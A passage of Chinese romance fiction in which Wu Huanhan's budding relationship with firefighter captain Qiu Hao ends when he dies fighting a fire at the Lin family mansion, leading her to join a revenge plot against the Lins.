邱浩：“我说过，虽然你是帮我的忙，但是我也不能耽误你。如果有了喜欢的人，一定要告诉我。” 吴焕晗忽然有些低落：“哦。” 她垂下目光：“你放心，目前在学校里，我还没有喜欢的人。” *** 又过了一段日子，吴焕晗带着邱浩去看了场电影。 电影集假戏真做、先婚后爱、追妻火葬场等狗血元素于一体，刻画了男女主之前缠绵悱恻的爱情。 走出电影院，吴焕晗期待地问道：“邱队长，你觉得这个电影怎么样，看完有什么感受吗？” 邱浩打了个哈欠：“好困。” 吴焕晗有些泄气，没注意到邱浩眼里一闪而过的笑意。 看完电影两人一起去吃晚饭，邱浩回忆着电影里的桥段，瞧着坐在他对面的姑娘，突然觉得，日子就这样过下去，其实也很好。 吴焕晗注意到邱浩的眼神，疑惑道：“怎么一直看着我，这家店不合你胃口吗？” 邱浩：“没有，你选的地方一直都很好吃。” 吴焕晗：“那怎么看着像是在发呆的样子？” 邱浩：“再过几天，是你的生日吧？” 吴焕晗眼神微亮：“是呀，邱队长要给我过生日吗？” 邱浩：“可以期待一下。” 见吴焕晗笑着露出一双弯弯的月牙眼，邱浩也不由自主地笑起来。 转眼便到吴焕晗的生日，她收到邱浩的信息：「站里临时有任务，我会晚一点到，你先自己玩一会儿。」 吴焕晗回复：「好，你先忙，我等你。」 约莫着时间差不多了，吴焕晗到达约定的地点。 只是随着时间一分一秒的流逝，她的内心逐渐变得没来由的慌乱。 已经很晚了，饭店里吃饭的人慢慢都离开，可邱浩还没有来。 吴焕晗正焦急间，服务员走过来，为难地对她说道：“女士，我们这边快下班了，您看您朋友……这饭还上吗？” 吴焕晗拿起包往外走：“不好意思，我朋友有点事情，今天就算了，实在抱歉。” 服务员的眼神暗含同情：“没事没事，女士您慢走。” 走出餐厅，吴焕晗实在是担忧。 邱浩不会是出什么事了吧？ 在某一刻，吴焕晗的心里好像突然空了一块儿。 她连忙拿出手机拨通邱浩的电话号码，一遍又一遍，可是却一直没有人接。 吴焕晗不敢放任自己继续瞎想。 她连忙走到街边，拦下一辆出租车，赶往消防站。 *** 邱浩牺牲了。 听邱浩的同事说，林宅着火，邱浩带着人去救火。 没有人知道发生了什么，只是等其他消防队员发现不对劲时，他们的邱队长已经在地下室里没有了气息。 吴焕晗皱眉：“林宅？哪个林宅？” 邱浩的队友：“还有哪个林宅，当然是林氏集团老总家的宅子。” 是林晶家。 吴焕晗知道，这件事和林晶肯定脱不了干系。 她后悔万分。 如果，她能在邱浩出任务前问一句他要去哪里救火，就好了。 如果，她能够深思远虑、考虑周全，提前告诉邱浩她过去和林晶的恩怨，就好了。 如果，她能够再大胆一些，告诉邱浩她的心意，就好了。 可惜，一切都已经太晚了。 所以，当她发现季希在策划复仇的时候，她毫不犹疑地选择和季希站在一起，成为挥向林家的一柄利刃。 这是她一生所愿，为那个，她爱的人。